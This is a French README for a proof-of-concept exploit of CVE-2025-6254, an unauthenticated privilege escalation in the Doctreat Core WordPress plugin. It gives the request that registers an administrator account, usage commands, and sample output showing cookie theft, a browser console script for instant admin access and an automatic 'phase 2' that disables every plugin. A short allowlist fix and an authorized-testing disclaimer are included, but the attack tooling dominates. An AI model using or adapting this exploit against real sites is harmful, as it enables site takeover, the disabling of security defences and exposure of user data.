
CVE-2025-6254 — Doctreat Core <= 1.6.8 — Élévation de privilèges non authentifiée
Le plugin WordPress Doctreat Core versions <= 1.6.8 est vulnérable à une escalade de privilèges non authentifiée. Cette faille critique permet à des attaquants non authentifiés de créer un nouveau compte Administrateur directement via le point de terminaison AJAX d'inscription du plugin.
La vulnérabilité provient de la fonction doctreat_process_registration() dans hooks/hooks.php, qui accepte le paramètre user_type directement depuis les données POST soumises par l'utilisateur et le transmet comme paramètre role à wp_update_user() sans autorisation appropriée ni validation de liste blanche. Le plugin applique uniquement esc_sql() (qui ne valide pas les rôles) — il ne vérifie jamais si le rôle est sûr pour une inscription publique.
Découverte majeure : Le nonce utilisé par Doctreat (scripts_vars.ajax_nonce) est exposé sur toute page publique du thème Doctreat actif. Le paramètre user_type, qui contrôle normalement si un utilisateur s'inscrit en tant que "doctors", "hospitals" ou "regular_users", peut être remplacé via POST par user_type=administrator — et cette valeur est transmise directement comme paramètre role de WordPress.
/wp-admin/admin-ajax.php?action=doctreat_process_registrationuser_type=administrator avec les champs d'inscription normauxajax_nonce depuis les pages publiques du thème Doctreat// doctreat_core/hooks/hooks.php ~ line 296
wp_update_user( array(
'ID' => esc_sql( $user_identity ),
'role' => esc_sql( $user_type ), // ← user_type depuis $_POST via extract($_POST)
'user_status' => 0
) );
// ~ ligne 311 — Définit _is_verified après l'inscription
update_user_meta( $user_identity, '_is_verified', 'no' );
Remarque : Sur les cibles avec les paramètres de vérification par défaut ($verify_user vide ou 'remove'), l'utilisateur est automatiquement vérifié et obtient un accès admin immédiat. Les cibles avec vérification par email ou approbation admin activée nécessiteront des étapes de vérification supplémentaires.
python3 CVE-2025-6254_exploit.py target.com
python3 CVE-2025-6254_exploit.py https://target.com
python3 CVE-2025-6254_exploit.py http://target.com:8080
python3 CVE-2025-6254_exploit.py target.com username password
============================================================
CVE-2025-6254 PoC - Doctreat Core Privilege Escalation
============================================================
[*] Target: https://target.com
[+] Found nonce from https://target.com/: abc123xyz
[*] Sending registration request...
[*] Username: hackeradmin1234
[*] Role: administrator
[+] EXPLOIT SUCCESSFUL!
[+] Username: hackeradmin1234
[+] Password: Password@1234!
[+] Email: [email protected]
[+] Role: ADMINISTRATOR
[*] Attempting to login and extract cookies...
[*] Trying Doctreat admin-ajax.php login...
[*] AJAX login status: 200
[*] AJAX login response: {"type":"success","loggedin":true,...}
[+] LOGIN SUCCESSFUL! AUTH COOKIES EXTRACTED!
[+] JAVASCRIPT CONSOLE SCRIPT (COPY & PASTE):
// Paste this in browser DevTools console for instant admin access
[*] PHASE 2: AUTO-DISABLE ALL PLUGINS (PYTHON)
[*] Fetching plugin list from: https://target.com/wp-admin/plugins.php
[+] Found nonce: def456uvw
[+] Found 15 active plugins
[*] Disabling all plugins via bulk action...
[+] ALL PLUGINS DISABLED SUCCESSFULLY!
Après avoir exécuté l'exploit, copiez le JavaScript généré et collez-le dans la console DevTools de votre navigateur (F12) :
(function() {
'use strict';
console.log('[*] Starting WordPress admin access...');
// ... cookies set automatically ...
window.location.href = 'https://target.com/wp-admin/';
})();
requests (pip install requests)// SECURE: Allowlist only safe roles for public registration
$allowed_roles = array('doctors', 'hospitals', 'regular_users', 'seller');
if (!in_array($user_type, $allowed_roles, true)) {
$user_type = 'regular_users'; // ← Reject ALL dangerous roles
}
current_user_can('create_users') pour les rôles privilégiésuser_type avant de le passer à wp_update_user()Ces informations sont fournies à des fins éducatives et de tests d'intrusion autorisés uniquement. L'exploitation non autorisée de systèmes informatiques est illégale et contraire à l'éthique. Obtenez toujours une autorisation écrite explicite avant de tester une cible qui ne vous appartient pas.
| Capacité | Impact |
|---|
| 🔑 Créer un compte admin sans connexion | Prise de contrôle totale du site |
| 🎛️ Désactiver automatiquement tous les plugins de sécurité | Contournement des défenses |
| 💉 Modifier les fichiers PHP des plugins/thèmes | Exécution de code à distance |
| 🕳️ Installer des portes dérobées cachées | Accès persistant |
| 👥 Voir toutes les données utilisateur | Violation de la vie privée |